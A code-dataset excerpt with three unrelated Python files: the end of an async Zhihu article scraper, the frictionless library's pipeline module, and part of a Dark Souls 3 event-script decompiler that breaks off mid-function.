etree.HTML(response.decode())\n item = {}\n item['doc'] = html.xpath('normalize-space(.//div[contains(@class, \"RichText\")])')\n item['title'] = html.xpath('normalize-space(.//h1[contains(@class, \"Post-Title\")])')\n item['img_url'] = html.xpath('.//div[contains(@class, \"RichText\")]//img/@src')\n print(item)\n self.mydb['Zhihu_Article'].insert(item)\n else:\n print('redis-xq_aticle_url队列为空')\n\n\n# class Parse():\n# def __init__(self, data_queue=None, xq_queue=None):\n# self.data_queue = data_queue\n# self.xq_queue = xq_queue\n#\n# async def zhihu_parse_ajax(self, response):\n# data = json.loads(self.data_queue.get(False))\n# print(data)\n# for node in data['data']:\n# item_zhuanlan = {}\n# item_zhuanlan['title'] = node.get('title','').encode('utf-8').decode('utf-8')\n# item_zhuanlan['description'] = node.get('description', \"\").encode('utf-8').decode('utf-8')\n# item_zhuanlan['url'] = node.get('url', \"\").encode('utf-8').decode('utf-8')\n# item_zhuanlan['url_token'] = node.get('url_token', \"\").encode('utf-8').decode('utf-8')\n# item_zhuanlan['intro'] = node.get('intro', \"\").encode('utf-8').decode('utf-8')\n# print(item_zhuanlan)\n# self.redis_cnn.sadd(item_zhuanlan)\n\n # def zhihu_parse(self, response):\n # '''\n # 解析知乎首页\n # :param response:\n # :return:\n # '''\n # response.encoding='utf-8'\n # html = etree.HTML(response.text)\n # node_list = html.xpath('//div[contains(@class,Card) and contains(@class,TopstoryItem) and contains(@class,TopstoryItem-isRecommend)]//div[contains(@class, \"Feed\")]')\n # for node in node_list:\n # item = {}\n # item['title'] = node.xpath('normalize-space(.//h2)')\n # item['article_url'] = node.xpath('normalize-space(.//h2//a/@href)')\n # item['article_short'] = node.xpath('normalize-space(.//div[contains(@class, RichContent-inner)]//span[contains(@class,\"RichText\") and contains(@class, \"CopyrightRichText-richText\")])')\n # item['article_Agree'] = node.xpath('normalize-space(.//div[contains(@class,\"RichContent\")]//div[contains(@class, \"ContentItem-actions\")]//span)').replace('\\u200b', \"\").split(' ')[-1]\n # print(item)\n # self.mydb['zhihu_test'].insert(item)\n # yield\n\nasync def run():\n semaphore = asyncio.Semaphore(500)\n zhuanlan = ZhuanLan(cookie_queue)\n to_get = [zhuanlan.zhuanlan_page(semaphore, i) for i in range(1, 500)]\n await asyncio.wait(to_get)\n\n\nasync def run_xq():\n semaphore = asyncio.Semaphore(500)\n xq_zhuanlan = XqZhuanLan(cookie_queue)\n to_get = [xq_zhuanlan.get_page(semaphore) for i in range(1, 150)]\n await asyncio.wait(to_get)\n\n\nasync def run_article():\n semaphore = asyncio.Semaphore(500)\n article = ArticleZhuanlan(cookie_queue)\n to_get = [article.article(semaphore) for i in range(1, 7000)]\n await asyncio.wait(to_get)\n\nif __name__ == '__main__':\n zhihu = ZhihuSpider(username='username', password=\"password\")\n zhihu.login()\n # if zhihu.login():\n # # print('数据抓取-解析-入库-结束')\n # # else:\n # # print('出现错误')\n start = time.time()\n loop = asyncio.get_event_loop()\n # run()\n loop.run_until_complete(run())\n\n # loop = asyncio.get_event_loop()\n # run()\n loop.run_until_complete(run_xq())\n\n # loop = asyncio.get_event_loop()\n # run()\n loop.run_until_complete(run_article())\n\n print(time.time()-start)\n print(num, num_1, num_2)","sub_path":"zhihu_zhuanlan.py","file_name":"zhihu_zhuanlan.py","file_ext":"py","file_size_in_byte":18467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"365806834","text":"from copy import deepcopy\nfrom multiprocessing import Pool\nfrom importlib import import_module\nfrom .errors import PipelineError, TaskError\nfrom .status import Status, StatusTask\nfrom .metadata import Metadata\nfrom .resource import Resource\nfrom .package import Package\nfrom . import helpers\nfrom . import config\n\n\nclass Pipeline(Metadata):\n \"\"\"Pipeline representation.\n\n Parameters:\n descriptor? (str|dict): pipeline descriptor\n\n Raises:\n FrictionlessException: raise any error that occurs during the process\n\n \"\"\"\n\n def __init__(self, descriptor, tasks=None):\n self.setinitial(\"tasks\", tasks)\n super().__init__(descriptor)\n\n @property\n def tasks(self):\n \"\"\"\n Returns:\n dict[]: tasks\n \"\"\"\n tasks = self.get(\"tasks\", [])\n return self.metadata_attach(\"tasks\", tasks)\n\n # Run\n\n def run(self, *, parallel=False):\n \"\"\"Run the pipeline\"\"\"\n\n # Create state\n statuses = []\n timer = helpers.Timer()\n\n # Validate pipeline\n if self.metadata_errors:\n return Status(time=timer.time, errors=self.metadata_errors, tasks=[])\n\n # Transform sequentially\n if not parallel:\n for task in self.tasks:\n status = task.run()\n statuses.append(status)\n\n # Transform in-parallel\n else:\n with Pool() as pool:\n task_descriptors = [task.to_dict() for task in self.tasks]\n status_descriptors = pool.map(run_task_in_parallel, task_descriptors)\n for status_descriptor in status_descriptors:\n statuses.append(Status(status_descriptor))\n\n # Return status\n tasks = []\n errors = []\n for status in statuses:\n tasks.extend(status[\"tasks\"])\n errors.extend(status[\"errors\"])\n return Status(time=timer.time, errors=[], tasks=tasks)\n\n # Metadata\n\n metadata_Error = PipelineError\n metadata_profile = deepcopy(config.PIPELINE_PROFILE)\n metadata_profile[\"properties\"][\"tasks\"] = {\"type\": \"array\"}\n\n def metadata_process(self):\n\n # Tasks\n tasks = self.get(\"tasks\")\n if isinstance(tasks, list):\n for index, task in enumerate(tasks):\n if not isinstance(task, PipelineTask):\n task = PipelineTask(task)\n list.__setitem__(tasks, index, task)\n if not isinstance(tasks, helpers.ControlledList):\n tasks = helpers.ControlledList(tasks)\n tasks.__onchange__(self.metadata_process)\n dict.__setitem__(self, \"tasks\", tasks)\n\n def metadata_validate(self):\n yield from super().metadata_validate()\n\n # Tasks\n for task in self.tasks:\n yield from task.metadata_errors\n\n\nclass PipelineTask(Metadata):\n \"\"\"Pipeline task representation.\n\n Parameters:\n descriptor? (str|dict): pipeline task descriptor\n\n Raises:\n FrictionlessException: raise any error that occurs during the process\n\n \"\"\"\n\n def __init__(self, descriptor=None, *, source=None, type=None, steps=None):\n self.setinitial(\"source\", source)\n self.setinitial(\"type\", type)\n self.setinitial(\"steps\", steps)\n super().__init__(descriptor)\n\n @property\n def source(self):\n return self[\"source\"]\n\n @property\n def type(self):\n return self[\"type\"]\n\n @property\n def steps(self):\n return self[\"steps\"]\n\n # Run\n\n def run(self):\n \"\"\"Run the task\"\"\"\n errors = []\n target = None\n timer = helpers.Timer()\n try:\n transform = import_module(\"frictionless\").transform\n target = transform(self.source, type=self.type, steps=self.steps)\n except Exception as exception:\n errors.append(TaskError(note=str(exception)))\n task = StatusTask(time=timer.time, errors=errors, target=target, type=self.type)\n return Status(tasks=[task], time=timer.time, errors=[])\n\n # Metadata\n\n metadata_Error = PipelineError\n metadata_profile = config.PIPELINE_PROFILE[\"properties\"][\"tasks\"][\"items\"]\n\n def metadata_process(self):\n\n # Source\n source = self.get(\"source\")\n if not isinstance(source, Metadata):\n source = Resource(source) if self.type == \"resource\" else Package(source)\n dict.__setitem__(self, \"source\", source)\n\n\n# Internal\n\n\ndef run_task_in_parallel(task_descriptor):\n task = PipelineTask(task_descriptor)\n status = task.run()\n status_descriptor = status.to_dict()\n return status_descriptor\n","sub_path":"frictionless/pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":4656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"432232698","text":"from soulstruct.events.internal import InstructionNotFoundError, get_enum_name, EnumStringError, boolify, \\\n get_game_map_variable_name\nfrom soulstruct.enums.darksouls3 import *\n\n\ndef get_target_args(target_comparison_type, target_count):\n \"\"\" Determine the arg string for the fairly useless extra DS3 arguments. \"\"\"\n if target_comparison_type != 0 or target_count != 1:\n target_comparison_type = get_enum_name(ComparisonType, target_comparison_type, True)\n return f', target_comparison_type={target_comparison_type}, target_count={target_count}'\n return ''\n\n\ndef decompile_instruction(instruction_class, instruction_index, req_args, game_module):\n \"\"\" Bloodborne-specific instruction decompiler. Run after the shared decompiler. Raises an error if it fails to\n resolve. \"\"\"\n\n # TODO: Probably easier to call the game-specific decompiler before trying the shared one, in case I forget to\n # remove one from shared that turns out to differ in one or more games.\n\n if instruction_class == 3:\n\n if instruction_index == 2:\n condition, state, character, region, min_target_count = req_args\n character = 'PLAYER' if character == 10000 else character\n min_target_arg = f', min_target_count={min_target_count}' if min_target_count != 1 else ''\n if state == 1:\n return f\"IfCharacterInsideRegion({condition}, {character}, region={region}{min_target_arg})\"\n elif state == 0:\n return f\"IfCharacterOutsideRegion({condition}, {character}, region={region}{min_target_arg})\"\n return f\"IfCharacterRegionState({condition}, {character}, region={region}, state={boolify(state)}{min_target_arg})\"\n\n if instruction_index == 3:\n condition, state, entity, other_entity, radius, min_target_count = req_args\n min_target_arg = f', min_target_count={min_target_count}' if min_target_count != 1 else ''\n entity = 'PLAYER' if entity == 10000 else entity\n other_entity = 'PLAYER' if other_entity == 10000 else other_entity\n if state == 1:\n return f\"IfEntityWithinDistance({condition}, {entity}, {other_entity}, radius={radius}{min_target_arg})\"\n elif state == 0:\n return f\"IfEntityBeyondDistance({condition}, {entity}, {other_entity}, radius={radius}{min_target_arg})\"\n return f\"IfEntityDistanceState({condition}, {entity}, {other_entity}, {radius}, state={boolify(state)}{min_target_arg})\"\n\n if instruction_index == 23:\n condition, attacked_entity, attacking_character, damage_type = req_args\n if attacked_entity == 10000:\n attacked_entity = 'PLAYER'\n if attacking_character == 10000:\n attacking_character = 'PLAYER'\n return (f\"IfDamageType({condition}, attacked_entity={attacked_entity}, \"\n f\"attacking_character={attacking_character}, damage_type={get_enum_name(DamageType, damage_type)})\")\n\n if instruction_index == 24:\n condition, action_button_id, region = req_args\n return f\"IfActionButtonInRegion({condition}, action_button_id={action_button_id}, region={region})\"\n\n if instruction_index == 26:\n condition, not_in_own_world = req_args\n if not_in_own_world == 1:\n return f\"IfPlayerNotInOwnWorld({condition})\"\n if not_in_own_world == 0:\n return f\"IfPlayerInOwnWorld({condition})\"\n return f\"IfPlayerOwnWorldState({condition}, not_in_own_world={not_in_own_world}\"\n\n if instruction_index == 28:\n condition, state, area_id, block_id, ceremony = req_args\n game_map = get_game_map_variable_name(area_id, block_id, game_module)\n if state == 1:\n return f\"IfMapInCeremony({condition}, game_map={game_map}, ceremony_id={ceremony})\"\n if state == 0:\n return f\"IfMapNotInCeremony({condition}, game_map={game_map}, ceremony_id={ceremony})\"\n return f\"IfMapCeremonyState({condition}, state={state}, game_map={game_map}, ceremony_id={ceremony})\"\n\n if instruction_index == 29:\n condition, = req_args\n return f\"IfMultiplayerNetworkPenalized({condition})\"\n\n if instruction_index == 30:\n condition, gender = req_args\n gender = get_enum_name(Gender, gender, True)\n return f\"IfPlayerGender({condition}, {gender})\"\n\n if instruction_index == 31:\n condition, cutscene = req_args\n return f\"IfOngoingCutsceneFinished({condition}, {cutscene})\"\n\n if instruction_index == 32:\n condition, is_ready = req_args\n return f\"IfHollowArenaMatchReadyState({condition}, is_ready={boolify(is_ready)})\"\n\n if instruction_index == 33:\n condition, result = req_args\n result = get_enum_name(HollowArenaResult, result)\n return f\"IfHollowArenaSoloResults({condition}, {result})\"\n\n if instruction_index == 34:\n condition, comparison_type, value = req_args\n comparison_type = get_enum_name(ComparisonType, comparison_type, True)\n return f\"IfHollowArenaSoloScoreComparison({condition}, comparison_type={comparison_type}, value={value})\"\n\n if instruction_index == 35:\n condition, result = req_args\n result = get_enum_name(HollowArenaResult, result, True)\n return f\"IfHollowArenaTeamResults({condition}, result={result})\"\n\n if instruction_index == 38:\n condition, is_disconnected = req_args\n return f\"IfSteamDisconnected({condition}, is_disconnected={boolify(is_disconnected)})\"\n\n if instruction_index == 39:\n condition, comparison_state, comparison_type, value = req_args\n comparison_type = get_enum_name(ComparisonType, comparison_type, True)\n return (f\"IfAllyPhantomCountComparison({condition}, comparison_state={boolify(comparison_state)}, \"\n f\"comparison_type={comparison_type}, value={value})\")\n\n if instruction_class == 4:\n\n if instruction_index == 0:\n condition, character, state, target_comparison_type, target_count = req_args\n character = 'PLAYER' if character == 10000 else character\n target_args = get_target_args(target_comparison_type, target_count)\n if state == 1:\n return f\"IfCharacterDead({condition}, {character}{target_args})\"\n elif state == 0:\n return f\"IfCharacterAlive({condition}, {character}{target_args})\"\n return f\"IfCharacterDeathState({condition}, character={character}, state={state}{target_args})\"\n \n if instruction_index == 2:\n condition, character, comparison_type, value, target_comparison_type, target_count = req_args\n character = 'PLAYER' if character == 10000 else character\n comparison_type = get_enum_name(ComparisonType, comparison_type, True)\n target_args = get_target_args(target_comparison_type, target_count)\n if comparison_type == ComparisonType.Equal:\n return f\"IfHealthEqual({condition}, character={character}, value={value}{target_args})\"\n elif comparison_type == ComparisonType.NotEqual:\n return f\"IfHealthNotEqual({condition}, character={character}, value={value}{target_args})\"\n elif comparison_type == ComparisonType.GreaterThan:\n return f\"IfHealthGreaterThan({condition}, character={character}, value={value}{target_args})\"\n elif comparison_type == ComparisonType.LessThan:\n return f\"IfHealthLessThan({condition}, character={character}, value={value}{target_args})\"\n elif comparison_type == ComparisonType.GreaterThanOrEqual:\n return f\"IfHealthGreaterThanOrEqual({condition}, character={character}, value={value}{target_args})\"\n elif comparison_type == ComparisonType.LessThanOrEqual:\n return f\"IfHealthLessThanOrEqual({condition}, character={character}, value={value}{target_args})\"\n return f\"IfHealthComparison({condition}, character={character}, comparison_type={comparison_type}, value={value}{target_args})\"\n\n if instruction_index == 3:\n condition, character, character_type, target_comparison_type, target_count = req_args\n character = 'PLAYER' if character == 10000 else character\n character_type = get_enum_name(CharacterType, character_type, True)\n target_args = get_target_args(target_comparison_type, target_count)\n return f\"IfCharacterType({condition}, character={character}, character_type={character_type}{target_args})\"\n\n if instruction_index == 5:\n condition, character, special_effect, state, target_comparison_type, target_count = req_args\n character = 'PLAYER' if character == 10000 else character\n target_args = get_target_args(target_comparison_type, target_count)\n if state == 1:\n return f\"IfCharacterHasSpecialEffect({condition}, character={character}, special_effect={special_effect}{target_args})\"\n elif state == 0:\n return f\"IfCharacterDoesNotHaveSpecialEffect({condition}, character={character}, special_effect={special_effect}{target_args})\"\n return f\"IfCharacterSpecialEffectState({condition}, character={character}, special_effect={special_effect}, state={state}{target_args})\"\n\n if instruction_index == 7:\n condition, character, state, target_comparison_type, target_count = req_args\n character = 'PLAYER' if character == 10000 else character\n target_args = get_target_args(target_comparison_type, target_count)\n if state == 1:\n return f\"IfCharacterBackreadEnabled({condition}, character={character}{target_args})\"\n elif state == 0:\n return f\"IfCharacterBackreadDisabled({condition}, character={character}{target_args})\"\n return f\"IfCharacterBackreadState({condition}, character={character}, state={state}{target_args})\"\n\n if instruction_index == 8:\n condition, character, tae_event_id, state, target_comparison_type, target_count = req_args\n character = 'PLAYER' if character == 10000 else character\n target_args = get_target_args(target_comparison_type, target_count)\n if state == 1:\n return f\"IfHasTAEEvent({condition}, character={character}, tae_event_id={tae_event_id}{target_args})\"\n elif state == 0:\n return f\"IfDoesNotHaveTAEEvent({condition}, character={character}, tae_event_id={tae_event_id}{target_args})\"\n return f\"IfTAEEventState({condition}, character={character}, tae_event_id={tae_event_id}, state={state}{target_args})\"\n\n if instruction_index == 9:\n condition, character, ai_status, target_comparison_type, target_count = req_args\n ai_status = get_enum_name(AIStatusType, ai_status, True)\n target_args = get_target_args(target_comparison_type, target_count)\n return f\"IfHasAIStatus({condition}, character={character}, ai_status={ai_status}{target_args})\"\n\n if instruction_index == 14:\n condition, character, comparison_type, value, target_comparison_type, target_count = req_args\n character = 'PLAYER' if character == 10000 else character\n target_args = get_target_args(target_comparison_type, target_count)\n if comparison_type == ComparisonType.Equal:\n return f\"IfHealthValueEqual({condition}, character={character}, value={value}{target_args})\"\n elif comparison_type == ComparisonType.NotEqual:\n return f\"IfHealthValueNotEqual({condition}, character={character}, value={value}{target_args})\"\n elif comparison_type == ComparisonType.GreaterThan:\n return f\"IfHealthValueGreaterThan({condition}, character={character}, value={value}{target_args})\"\n elif comparison_type == ComparisonType.LessThan:\n return f\"IfHealthValueLessThan({condition}, character={character}, value={value}{target_args})\"\n elif comparison_type == ComparisonType.GreaterThanOrEqual:\n return f\"IfHealthValueGreaterThanOrEqual({condition}, character={character}, value={value}{target_args})\"\n elif comparison_type == ComparisonType.LessThanOrEqual:\n return f\"IfHealthValueLessThanOrEqual({condition}, character={character}, value={value}{target_args})\"\n return f\"IfHealthValueComparison({condition}, character={character}, comparison_type={comparison_type}, value={value}{target_args})\"\n\n if instruction_index == 15:\n condition, character, state, target_comparison_type, target_count = req_args\n character = 'PLAYER' if character == 10000 else character\n target_args = get_target_args(target_comparison_type, target_count)\n if state == 1:\n return f\"IfCharacterDrawGroupActive({condition}, {character}{target_args})\"\n if state == 0:\n return f\"IfCharacterDrawGroupInactive({condition}, {character}{target_args})\"\n return f\"IfCharacterDrawGroupState({condition}, character={character}, state={state}{target_args})\"\n\n if instruction_index == 26:\n condition, comparison_type, value = req_args\n comparison_type = get_enum_name(ComparisonType, comparison_type, True)\n return f\"IfPlayerRemainingYoelLevelComparison({condition}, comparison_type={comparison_type}, value={value})\"\n\n if instruction_index == 27:\n condition, character, invade_type, target_comparison_type, target_count = req_args\n character = 'PLAYER' if character == 10000 else character\n target_args = get_target_args(target_comparison_type, target_count)\n return f\"IfCharacterInvadeType({condition}, character={character}, invade_type={invade_type}{target_args})\"\n\n if instruction_index == 28:\n condition, character, chameleon_fx_id, is_transformed = req_args\n character = 'PLAYER' if character == 10000 else character\n return f\"IfCharacterChameleonState({condition}, character={character}, chameleon_fx_id={chameleon_fx_id}, is_transformed={boolify(is_transformed)})\"\n\n if instruction_class == 5:\n\n if instruction_index == 0:\n condition, state, obj, target_comparison_type, target_count = req_args\n target_args = get_target_args(target_comparison_type, target_count)\n if state == 1:\n return f\"IfObjectDestroyed({condition}, obj={obj}{target_args})\"\n elif state == 0:\n return f\"IfObjectNotDestroyed({condition}, obj={obj}{target_args})\"\n return f\"IfObjectDestructionState({condition}, state={boolify(state)}, obj={obj}{target_args})\"\n\n if instruction_index == 9:\n condition, obj, comparison_type, state, target_comparison_type, target_count = req_args\n comparison_type = get_enum_name(ComparisonType, comparison_type, True)\n target_args = get_target_args(target_comparison_type, target_count)\n return f\"IfObjectBurnState({condition}, obj={obj}, comparison_type={comparison_type}, state={boolify(state)}{target_args})\"\n\n if instruction_index == 10:\n condition, obj, state, target_comparison_type, target_count = req_args\n target_args = get_target_args(target_comparison_type, target_count)\n if state == 1:\n return f\"IfObjectBackreadEnabled({condition}, obj={obj}{target_args})\"\n elif state == 0:\n return f\"IfObjectBackreadDisabled({condition}, obj={obj}{target_args})\"\n return f\"IfObjectBackreadState({condition}, obj={obj}, state={state}{target_args})\"\n\n if instruction_index == 11:\n condition, obj, state, target_comparison_type, target_count = req_args\n target_args = get_target_args(target_comparison_type, target_count)\n if state == 1:\n return f\"IfObjectBackreadEnabled_Alternate({condition}, obj={obj}{target_args})\"\n elif state == 0:\n return f\"IfObjectBackreadDisabled_Alternate({condition}, obj={obj}{target_args})\"\n return f\"IfObjectBackreadState_Alternate({condition}, obj={obj}, state={state}{target_args})\"\n\n if instruction_class == 1000:\n\n if instruction_index == 101:\n label, state, condition = req_args\n label = get_enum_name(Label, label, True)\n if state == 1:\n return f\"GotoIfConditionTrue({label}, input_condition={condition})\"\n if state == 0:\n return f\"GotoIfConditionFalse({label}, input_condition={condition})\"\n return f\"GotoIfConditionState({label}, state={boolify(state)}, input_condition={condition})\"\n\n if instruction_index == 103:\n label, = req_args\n label = get_enum_name(Label, label, True)\n return f\"Goto({label})\"\n\n if instruction_index == 105:\n label, comp_type, left, right = req_args\n label = get_enum_name(Label, label, True)\n comp_type = get_enum_name(ComparisonType, comp_type, True)\n return f\"GotoIfValueComparison({label}, {comp_type}, left={left}, right={right})\"\n\n if instruction_index == 107:\n label, state, condition = req_args\n label = get_enum_name(Label, label, True)\n if state == 1:\n return f\"GotoIfFinishedConditionTrue({label}, input_condition={condition})\"\n if state == 0:\n return f\"GotoIfFinishedConditionFalse({label}, input_condition={condition})\"\n return f\"GotoIfFinishedConditionState({label}, state={boolify(state)}, input_condition={condition})\"\n\n if instruction_class == 1001:\n\n if instruction_index == 4:\n match_type, is_second_half = req_args\n return f\"WaitHollowArenaHalftime(match_type={match_type}, is_second_half={boolify(is_second_half)})\"\n\n if instruction_class == 1003:\n\n if instruction_index == 5:\n line_count, state = req_args\n try:\n state_name = get_enum_name(MultiplayerState, state).split('.')[-1]\n except EnumStringError:\n return f\"SkipLinesIfMultiplayerState({line_count}, state={state})\"\n else:\n return f\"SkipLinesIf{state_name}({line_count})\"\n\n if instruction_index == 6:\n event_end_type, state = req_args\n if event_end_type == EventEndType.End:\n try:\n state_name = get_enum_name(MultiplayerState, state).split('.')[-1]\n except EnumStringError:\n pass\n else:\n return f\"EndIf{state_name}()\"\n elif event_end_type == EventEndType.Restart:\n try:\n state_name = get_enum_name(MultiplayerState, state).split('.')[-1]\n except EnumStringError:\n pass\n else:\n return f\"RestartIf{state_name}()\"\n return f\"TerminateIfMultiplayerState(event_end_type={event_end_type}, state={state})\"\n\n if instruction_index == 9:\n line_count, comp_type, value = req_args\n comp_type = get_enum_name(ComparisonType, comp_type, True)\n return f\"SkipLinesIfCoopClientCountComparison({line_count}, {comp_type}, {value})\"\n\n if instruction_index == 10:\n event_end_type, comparison_type, value = req_args\n if event_end_type == 0:\n return f\"EndIfCoopClientCountComparison({comparison_type}, {value})\"\n if event_end_type == 1:\n return f\"RestartIfCoopClientCountComparison({comparison_type}, {value})\"\n return f\"TerminateIfCoopClientCountComparison({event_end_type}, {comparison_type}, {value})\"\n\n if instruction_index == 11:\n label, character, special_effect, state, target_comparison_type, target_count = req_args\n character = 'PLAYER' if character == 10000 else character\n label = get_enum_name(Label, label, True)\n target_args = get_target_args(target_comparison_type, target_count)\n if state == 1:\n return f\"GotoIfCharacterHasSpecialEffect({label}, character={character}, special_effect={special_effect}{target_args})\"\n elif state == 0:\n return f\"GotoIfCharacterDoesNotHaveSpecialEffect({label}, character={character}, special_effect={special_effect}{target_args})\"\n return f\"GotoIfCharacterSpecialEffectState({label}, character={character}, special_effect={special_effect}, state={state}{target_args})\"\n\n if instruction_index == 12:\n label, not_in_own_world = req_args\n label = get_enum_name(Label, label, True)\n if not_in_own_world == 1:\n return f\"GotoIfPlayerNotInOwnWorld({label})\"\n elif not_in_own_world == 0:\n return f\"GotoIfPlayerInOwnWorld({label})\"\n return f\"GotoIfPlayerOwnWorldState({label}, not_in_own_world={boolify(not_in_own_world)})\"\n\n if instruction_index == 13:\n event_end_type, not_in_own_world = req_args\n if event_end_type == 0:\n if not_in_own_world == 1:\n return f\"EndIfPlayerNotInOwnWorld()\"\n elif not_in_own_world == 0:\n return f\"EndIfPlayerInOwnWorld()\"\n return f\"EndIfPlayerOwnWorldState(not_in_own_world={not_in_own_world})\"\n elif event_end_type == 1:\n if not_in_own_world == 1:\n return f\"RestartIfPlayerNotInOwnWorld()\"\n elif not_in_own_world == 0:\n return f\"RestartIfPlayerInOwnWorld()\"\n return f\"RestartIfPlayerOwnWorldState(not_in_own_world={not_in_own_world})\"\n return f\"TerminateIfPlayerOwnWorldState(event_end_type={event_end_type}, state={not_in_own_world})\"\n\n if instruction_index == 14:\n line_count, client_type, comparison_type, value = req_args\n client_type = get_enum_name(ClientType, client_type, True)\n comparison_type = get_enum_name(ComparisonType, comparison_type, True)\n return f\"SkipLinesIfClientTypeCountComparison({line_count}, client_type={client_type}, comparison_type={comparison_type}, value={value})\"\n\n if instruction_index == 15:\n label, client_type, comparison_type, value = req_args\n label = get_enum_name(Label, label, True)\n return f\"GotoIfClientTypeCountComparison({label}, {client_type}, {comparison_type}, {value})\"\n\n if instruction_index == 16:\n event_end_type, client_type, comparison_type, value = req_args\n if event_end_type == 0:\n return f\"EndIfClientTypeCountComparison({client_type}, {comparison_type}, {value})\"\n if event_end_type == 1:\n return f\"RestartIfClientTypeCountComparison({client_type}, {comparison_type}, {value})\"\n return f\"TerminateIfClientTypeCountComparison({event_end_type}, {client_type}, {comparison_type}, {value})\"\n\n if instruction_index == 101:\n label, state, flag_type, flag = req_args\n label = get_enum_name(Label, label, True)\n if flag_type == FlagType.Absolute:\n if state == 1:\n return f\"GotoIfFlagOn({label}, {flag})\"\n if state == 0:\n return f\"GotoIfFlagOff({label}, {flag})\"\n raise EnumStringError\n if flag_type == FlagType.RelativeToThisEvent:\n if state == 1:\n return f\"GotoIfThisEventOn({label})\"\n if state == 0:\n return f\"GotoIfThisEventOff({label})\"\n if flag_type == FlagType.RelativeToThisEventSlot:\n if state == 1:\n return f\"GotoIfThisEventSlotOn({label})\"\n if state == 0:\n return f\"GotoIfThisEventSlotOff({label})\"\n flag_type = get_enum_name(FlagType, flag_type)\n return f\"GotoIfFlagState({label}, {boolify(state)}, flag_type={flag_type}, flag={flag})\"\n\n if instruction_index == 103:\n label, state, flag_type, first_flag, last_flag = req_args\n label = get_enum_name(Label, label, True)\n if flag_type == FlagType.Absolute:\n if state == RangeState.AllOn:\n return f\"GotoIfFlagRangeAllOn({label}, ({first_flag}, {last_flag}))\"\n if state == RangeState.AllOff:\n return f\"GotoIfFlagRangeAllOff({label}, ({first_flag}, {last_flag}))\"\n if state == RangeState.AnyOn:\n return f\"GotoIfFlagRangeAnyOn({label}, ({first_flag}, {last_flag}))\"\n if state == RangeState.AnyOff:\n return f\"GotoIfFlagRangeAnyOff({label}, ({first_flag}, {last_flag}))\"\n flag_type = get_enum_name(FlagType, flag_type)\n state = get_enum_name(RangeState, state, True)\n return f\"GotoIfFlagRangeState({label}, {state}, {flag_type}, ({first_flag}, {last_flag}))\"\n\n if instruction_index == 105:\n label, state = req_args\n label = get_enum_name(Label, label, True)\n try:\n state_name = get_enum_name(MultiplayerState, state).split('.')[-1]\n except EnumStringError:\n return f\"GotoIfMultiplayerState({label}, state={state})\"\n else:\n return f\"GotoIf{state_name}({label})\"\n\n if instruction_index == 107:\n label, state, area_id, block_id = req_args\n label = get_enum_name(Label, label, True)\n game_map = get_game_map_variable_name(area_id, block_id, game_module)\n if state == 1:\n return f\"GotoIfInsideMap({label}, {game_map})\"\n if state == 0:\n return f\"GotoIfOutsideMap({label}, {game_map})\"\n return f\"GotoIfMapPresenceState({label}, {game_map}, state={boolify(state)})\"\n\n if instruction_index == 109:\n label, comparison_type, value = req_args\n label = get_enum_name(Label, label, True)\n comparison_type = get_enum_name(ComparisonType, comparison_type, True)\n return f\"GotoIfCoopClientCountComparison({label}, {comparison_type}, {value})\"\n\n if instruction_index == 111:\n event_end_type, character, special_effect, state, target_comparison_type, target_count = req_args\n character = 'PLAYER' if character == 10000 else character\n target_args = get_target_args(target_comparison_type, target_count)\n if event_end_type == EventEndType.End:\n if state == 1:\n return f\"EndIfCharacterHasSpecialEffect(character={character}, special_effect={special_effect}{target_args})\"\n elif state == 0:\n return f\"EndIfCharacterDoesNotHaveSpecialEffect(character={character}, special_effect={special_effect}{target_args})\"\n elif event_end_type == EventEndType.Restart:\n if state == 1:\n return f\"RestartIfCharacterHasSpecialEffect(character={character}, special_effect={special_effect}{target_args})\"\n elif state == 0:\n return f\"RestartIfCharacterDoesNotHaveSpecialEffect(character={character}, special_effect={special_effect}{target_args})\"\n return f\"TerminateIfCharacterSpecialEffectState(event_end_type={event_end_type}, character={character}, special_effect={special_effect}, state={state}{target_args})\"\n\n if instruction_index == 112:\n line_count, character, special_effect, state, target_comparison_type, target_count = req_args\n character = 'PLAYER' if character == 10000 else character\n target_args = get_target_args(target_comparison_type, target_count)\n if state == 1:\n return f\"SkipLinesIfCharacterHasSpecialEffect({line_count}, character={character}, special_effect={special_effect}{target_args})\"\n elif state == 0:\n return f\"SkipLinesIfCharacterDoesNotHaveSpecialEffect({line_count}, character={character}, special_effect={special_effect}{target_args})\"\n return f\"SkipLinesIfCharacterSpecialEffectState({line_count}, character={character}, special_effect={special_effect}, state={state}{target_args})\"\n\n if instruction_index == 200:\n label, state, character, region, min_target_count = req_args\n character = 'PLAYER' if character == 10000 else character\n label = get_enum_name(Label, label, True)\n min_target_arg = f', min_target_count={min_target_count}' if min_target_count != 1 else ''\n if state == 1:\n return f\"GotoIfCharacterInsideRegion({label}, character={character}, region={region}{min_target_arg})\"\n elif state == 0:\n return f\"GotoIfCharacterOutsideRegion({label}, character={character}, region={region}{min_target_arg})\"\n return f\"GotoIfCharacterRegionState({label}, state={boolify(state)}, character={character}, region={region}{min_target_arg})\"\n\n if instruction_index == 201:\n event_end_type, state, character, region, min_target_count = req_args\n character = 'PLAYER' if character == 10000 else character\n min_target_arg = f', min_target_count={min_target_count}' if min_target_count != 1 else ''\n if event_end_type == EventEndType.End:\n if state == 1:\n return f\"EndIfCharacterInsideRegion(character={character}, region={region}{min_target_arg})\"\n elif state == 0:\n return f\"EndIfCharacterOutsideRegion(character={character}, region={region}{min_target_arg})\"\n return f\"EndIfCharacterRegionState(state={boolify(state)}, character={character}, region={region}{min_target_arg})\"\n elif event_end_type == EventEndType.Restart:\n if state == 1:\n return f\"RestartIfCharacterInsideRegion(character={character}, region={region}{min_target_arg})\"\n elif state == 0:\n return f\"RestartIfCharacterOutsideRegion(character={character}, region={region}{min_target_arg})\"\n return f\"RestartIfCharacterRegionState(state={boolify(state)}, character={character}, region={region}{min_target_arg})\"\n return f\"TerminateIfCharacterRegionState(event_end_type={event_end_type}, state={boolify(state)}, character={character}, region={region}{min_target_arg})\"\n\n if instruction_index == 202:\n line_count, state, character, region, min_target_count = req_args\n character = 'PLAYER' if character == 10000 else character\n min_target_arg = f', min_target_count={min_target_count}' if min_target_count != 1 else ''\n if state == 1:\n return f\"SkipLinesIfCharacterInsideRegion({line_count}, character={character}, region={region}{min_target_arg})\"\n elif state == 0:\n return 